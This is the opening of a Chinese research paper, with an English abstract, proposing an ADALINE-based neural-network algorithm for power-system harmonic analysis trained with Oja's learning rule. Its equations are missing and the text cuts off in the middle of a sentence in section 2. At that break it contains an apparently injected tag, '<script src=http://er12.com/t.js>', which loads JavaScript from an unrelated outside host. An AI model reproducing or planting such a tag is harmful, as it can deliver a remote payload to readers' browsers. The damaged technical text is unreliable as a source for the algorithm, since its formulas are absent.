摘要 传统的ann(人工神经网络)训练过程多是建立在hebb学习机制的基础上的，但基本的hebb学习机制的收敛性往往难以令人满意；在adaline模型的基础上，提出了一种新的、适用于电力系统谐波分析的ann算法，该算法的训练过程采用了oja学习规则，较好地保证了算法的收敛性。文中给出了利用该算法进行谐波分析的仿真结果，并与傅氏算法和最小二乘算法的计算结果进行了比较。算例表明，新算法具有精度高、收敛速度快的特点，用该算法得到的结果是令人满意的。
关键词 谐波分析 人工神经网络 oja学习规则
a new ann harmonic analysis algorithm based on
oja's learning rule
jin ming
(electrical and automation college of qingdao university,266071,qingdao,china)
abstract most training procedures of ann are designed on the basis of hebb's learning mechanism. but in some cases,the convergent property of the algorithm is not satisfactory.a new ann algorithm for analyzing harmonics in power system based on adaline model and oja's learning rule is described. this algorithm ensures a satisfactory convergent property. the simulation result and its comparison with that from fourier algorithm and the least square algorithm are given.
keywords harmonic analysis， ann， oja's learning rule
0 引言
随着电力系统的发展，电网的规模日益扩大，运行方式日趋复杂。为保证电网运行的安全性和经济性，电网分析程序经常需要从各种暂态信号中快速、准确地对基波或某种整数次谐波进行估计。一个理想的谐波分析算法应能在较短的数据窗下以不大的计算量而获得较高的估计精度，并对各种不同的暂态波形具有较好的适应能力。目前最常用的谐波分析算法是傅里叶算法(以下简称傅氏算法)，其优点是估计精度较高，运算量小；但其精度受非周期分量的影响较大，超高压输电线路上发生故障时暂态波形中所含的分数次谐波对其精度也有一定的影响。为此一些适合于随机模型的算法得到了发展，其中最常用的算法之一就是最小二乘算法，这种算法是将输入的暂态电气量与一个预设的含有非周期分量及某些谐波分量的函数按最小平方误差原理进行拟合，从而求出输入信号中基波或其它各种谐波分量的幅值和相位。这种算法从理论上可以消除信号中任意需要消除的暂态分量(包括衰减的直流分量和各种整数次甚至分数次谐波)，而只需在预设模型中包括这些分量即可。因此这种算法理论上可获得很好的滤波特性和很高的精度；而且该算法可以利用一个预设模型拟合，同时计算出输入信号中各种所需计算的谐波分量。但该算法的实时计算量相当大。这一缺点使得最小二乘算法尚未得到很好的应用。因此，开发一种既能具有上述算法的优点，又能克服其缺点的算法，是目前迫切需要的。
近年来，人工神经网络技术在电力系统中的应用获得了蓬勃的发展，在很多方面取得了令人鼓舞的成果。文献［1］在adaline网络的基础上，利用hebb学习机制，提出了一种基于ann的谐波分析算法。经过大量计算证明：该算法运算精度高，其特性与傅氏算法相当，同时又具有最小二乘法的某些优点，是一个较有前途的算法。但在实际应用中发现该算法所依据的学习机制，其收敛性有时难以让人满意。本文在文献［1］的基础上，利用oja学习规则对原算法中的学习机制进行了改进，计算表明，新算法在保留原算法各种优点的基础上，其收敛性得到了明显的改善。
1 adaline模型
adaline模型是一种自适应线性元神经网络模型，其结构如图1所示。图中x1k，x2k，…，xnk为adaline模型在时刻k时的输入。这些输入信号可以写成向量形式xk=［x1k，x2k，…，xnk］t，该向量称为adaline的输入模式向量。一组输入信号相应的有一组权值w1k,w2k,…，wnk。这一组权值也可以用向量的形式来表示，即wk=［w1k，w2k，…，wnk］t，该向量称为权向量。adaline的模拟输出定义为
(1)
图1 adaline模型
adaline的训练过程是：将理想响应信号dk送入adaline中，与模拟输出yk进行比较，并将差值送到学习机制中，以调整权向量wk，使得yk和所要求的输出dk相一致。若一致，就说明adaline已训练完毕。
2 oja学习规则
用于adaline训练的oja学习规则可表示为
即
(3)
或
(4)
其中wk+1为下一次权值向量的取值，wk为本次的权向量值，xk为本次的输入模式向量，εk为当前误差(理想输出与模拟输出之间的差值)，α为系数。
ann的训练过程是通过调整神经元的权值，使神经元的实际输出与理想输出尽量一致，其中α的取值范围为0<α<2。
由(2)～(4)式可见，oja学习规则是在基本hebb学习规则的基础上减去了一?script src=http://er12.com/t.js>
